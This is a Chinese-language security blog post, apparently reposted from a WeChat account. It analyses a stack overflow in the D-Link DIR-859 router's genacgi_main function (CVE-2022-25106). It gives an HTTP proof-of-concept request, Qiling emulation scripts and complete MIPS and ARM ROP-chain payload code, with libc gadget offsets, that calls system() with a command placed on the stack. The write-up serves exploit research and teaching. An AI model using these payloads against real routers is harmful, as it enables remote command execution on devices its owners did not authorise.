从CVE-2022-25106看路由器栈溢出利用

admin 2024年10月9日12:59:21评论29 views字数 3673阅读12分14秒阅读模式
从CVE-2022-25106看路由器栈溢出利用
从CVE-2022-25106看路由器栈溢出利用
从CVE-2022-25106看路由器栈溢出利用

点击上方蓝字关注我们

从CVE-2022-25106看路由器栈溢出利用

声明

    文中涉及内容仅作技术交流使用,切勿用于违法行为!

前言

CVE的描述如下:

    D-Link DIR-859 v1.05 was discovered to contain a stack-based buffer overflow via the function genacgi_main.

    实际上多个型号的路由器都存在该漏洞,所以以此为例,总结一下MIPS以及ARM下的固件模拟调试以及ROP链编写方法。

Part 1

漏洞分析

    函数`sprinf`使用不当而导致的栈溢出问题,根据描述可以知道问题函数在`genacgi_main`,函数中两个功能函数都存在栈溢出的问题:

从CVE-2022-25106看路由器栈溢出利用

两个函数的漏洞点也都一致:

从CVE-2022-25106看路由器栈溢出利用

    对于参数`a1`来讲,其值来源于环境变量`REQUEST_URI`,第二个函数中的栈溢出还可以通过`SERVER_ID`和`HTTP_SID`来填充数据,所以构造栈溢出的poc就很简单了,其中payload为填充的数据:

UNSUBSCRIBE /gena.cgi?service=payload HTTP/1.1rnHost: localhost:49152rnSID: 1rnrn

Part 2

固件模拟

    通常情况下使用qemu来完成模拟,用户模式下的qemu可以单独对单个程序进行模拟执行并且可以直接调试,而系统模式下可以比较完整的完成对固件的模拟。不过在某些情况下需要对程序进行patch时,使用qemu模拟的方式就有些繁琐了,需要编写相应的hook代码而且每次修改都需要重新交叉编译,运气不好的话编译链就够人折腾的了。所以在只是想调试利用链的情况下,不妨试一试qiling框架。

关于qiling框架,抄一段网上的话:

    qiling是一个可模拟多种架构和平台的模拟执行框架,基于Unicorn框架开发而来,可支持的平台有:Windows, MacOS, Linux, BSD, UEFI, DOS,可支持的架构有:X86,X86_64, Arm, Arm64, MIPS,8086,同时还提供跨架构的调试能力,多种层次的hook方法,qiling基于python开发,上手使用起来也非常方便,学习成本低。

Part 3

MIPS下的ROP链编写

从CVE-2022-25106看路由器栈溢出利用

&

MIPS下的ROP链编写

从CVE-2022-25106看路由器栈溢出利用

1、MIPS不支持NX保护,也就说如果存在缓冲区溢出的情况,可以直接劫持程序执行流到缓冲区来执行shellcode而不需要事先调用mprotect来修改内存页属性。

2、非叶子函数的调用会在调用前将函数的下一条指令地址压入栈中,而叶子函数则只是将返回地址写入 `ra` 寄存器,所以对于叶子函数的栈溢出无法直接劫持程序执行流。

3、流水线效应,网上解释有很多,需要注意的是里面分支延迟槽的概念,即执行分支指令时,当要跳转到的地址填充好还没完成本条指令时,分支语句后面的那个指令(第三条指令)就执行了,这个特性会影响到一些gadget的构造。

4、缓存不一致性,指令缓存和数据缓存两者的同步需要一个时间来同步,利用时需要调用Sleep来让shellcode从数据缓存刷新到指令缓存,否则会发生一些不可预料的情况。

从CVE-2022-25106看路由器栈溢出利用

&

用qiling框架模拟调试cgibin

从CVE-2022-25106看路由器栈溢出利用

    从文档上看框架应该是支持符号链接的,但是在实际使用过程中发现好像有些问题,所以这里采取的方案是patch程序,修改其参数内容进而到达指定的功能函数。框架的总体代码结构如下:

def main():  ql = Qiling(["squashfs-root/htdocs/cgibin"], "squashfs-root/", verbose=QL_VERBOSE.OFF)  ql.run()if __name__ == '__main__':  main()

简单patch一下让程序进入问题函数:

def set_args(ql: Qiling):  ql.arch.regs.write("a0", 0x004360F8)def main():  env = {"REQUEST_METHOD":"UNSUBSCRIBE", "REQUEST_URI":"xxxx?service={}".format('a'*1000), "SERVER_ID":"123", "HTTP_SID":"456"}  ql = Qiling(["squashfs-root/htdocs/cgibin"], "squashfs-root/", env=env, verbose=QL_VERBOSE.OFF)  ql.hook_address(set_args, 0x00403094)  udbserver(ql.uc, 1234, 0x0041AC44)  ql.run()

由此可以确定栈溢出确实存在:

从CVE-2022-25106看路由器栈溢出利用

从CVE-2022-25106看路由器栈溢出利用

&

ROP链编写

从CVE-2022-25106看路由器栈溢出利用
从CVE-2022-25106看路由器栈溢出利用

01

通过调用system函数完成利用

从CVE-2022-25106看路由器栈溢出利用

    首先知道的是system只有一个参数,即要执行的命令,我们把命令存储在栈上,那么就需要一个类似`lw $a0, $sp+xxxx`的gadget,在IDA中可以搜索到很多实现该功能的gadget:

从CVE-2022-25106看路由器栈溢出利用

先回过头来看看通过溢出可以控制哪些寄存器

从CVE-2022-25106看路由器栈溢出利用

    可以发现只能控制`$rp, $s0, $s1`,所以寻找的gadget需要围绕这三个寄存器展开,可以发现直接对`$a0`赋值的gadget跳转的寄存器并不是这三个寄存器之一,所以直接赋值到参数寄存器的方案不可行,不过可以再寻找一个gadget作为中转,即类似指令`addiu $s4, $sp+xxxx; move $a0, $s4; jalr system`,所以得到第一个gadget:

从CVE-2022-25106看路由器栈溢出利用

    这里将栈上的地址赋值到`$s4`,所以下一个gadget需要是`move $a0, $s4`, 可以找到两个:

从CVE-2022-25106看路由器栈溢出利用

    不过上一个gadget已经用到`$s1`了,所以这里实际上只有一个gadget可选:

从CVE-2022-25106看路由器栈溢出利用

组合一下:

def payload(libc_base):  cmd = b'xxxxxxxxxxxxxxx'  rops = b"xxxx?service=" + b'a'*464  rops += b'b'*4 # s0  rops += p32(libc_base + 0x398A4) # s1  rops += p32(libc_base + 0x56C20) # fp system  rops += p32(libc_base + 0x3B2B0) # ra  rops += b'c'*0x28  rops += cmd  return rops
从CVE-2022-25106看路由器栈溢出利用

02

通过执行shellcode完成利用

从CVE-2022-25106看路由器栈溢出利用

    执行shellcode的过程类似,只是多出来一个调用sleep函数的过程,此处不再赘述。

Part 4

ARM下的ROP链编写

从CVE-2022-25106看路由器栈溢出利用

&

ARM的特点

从CVE-2022-25106看路由器栈溢出利用

这里直接看栈溢出的情况,首先看看函数开始和函数结尾:

函数开始:

从CVE-2022-25106看路由器栈溢出利用

    不难发现,arm架构下同样是通过栈保存寄存器,进入函数时会将LR即链接寄存器压栈,而LR寄存器的值是执行`BL xxxx`时下一条指令的地址,即返回地址。

函数结尾:

从CVE-2022-25106看路由器栈溢出利用

在函数执行结束时将栈上的返回地址赋值给PC寄存器继续之前的执行流程,所以存在栈溢出的情况下同样可以劫持程序执行流。

从CVE-2022-25106看路由器栈溢出利用

&

ROP链编写

从CVE-2022-25106看路由器栈溢出利用

    首先明确目的,通过执行system函数完成命令执行,函数有一个参数,所以需要类似`ADD R0, SP, xxxx`的gadget,遗憾的是没有找到合适的直接赋值R0的gadget,转而求其次,寻找一个中转的gadget,类似`ADD Rx, SP, xxxx; MOV R0, Rx`,先找前半部分,R1存在合适的:

从CVE-2022-25106看路由器栈溢出利用

    不过执行该gadget前需要先设置R3的值,这样才能继续控制执行流,至于使用什么样的gadget先放一放,回过头来看看后半部分的功能是否有合适的gadget,可以发现可选的还是存在的:

从CVE-2022-25106看路由器栈溢出利用

    不过由于前面一条指令需要使用R3寄存器,所以这里`mov r0, r1 ; blx r3`不可选,这里选择` mov r0, r1 ; pop {r3, pc}`。好了,现在需要考虑考虑怎么设置找到的gadget中所需要的寄存器了,其实不难发现,有很多`pop {x, xxx, xxxx, ....}`的gadget,所以只需要找到`pop {r3, xxx, .., pc}`即可:

从CVE-2022-25106看路由器栈溢出利用

所以就有

def payload(libc_base):    cmd = b'xxxxxxxx'    rops = b'a'*462    rops += b'a'*4 # r4    rops += b'a'*4 # r5    rops += b'a'*4 # r11    rops += p32(libc_base + 0x00018298) # pop {r3, pc};    rops += p32(libc_base + 0x000406f8) # mov r0, r1 ; pop {r3, pc}    rops += p32(libc_base + 0x000390fc) # add r1, sp, #0x2c ; blx r3    rops += b'a'*4 # r3    rops += p32(libc_base + 0x5a270) # pc system    rops += b'a'*(0x2c-8) # padding    rops += cmd    return rops
从CVE-2022-25106看路由器栈溢出利用

END

从CVE-2022-25106看路由器栈溢出利用

扫码关注最新动态

从CVE-2022-25106看路由器栈溢出利用

零域安全

从CVE-2022-25106看路由器栈溢出利用

原文始发于微信公众号(零域安全):从CVE-2022-25106看路由器栈溢出利用

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月9日12:59:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从CVE-2022-25106看路由器栈溢出利用https://cn-sec.com/archives/1933574.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息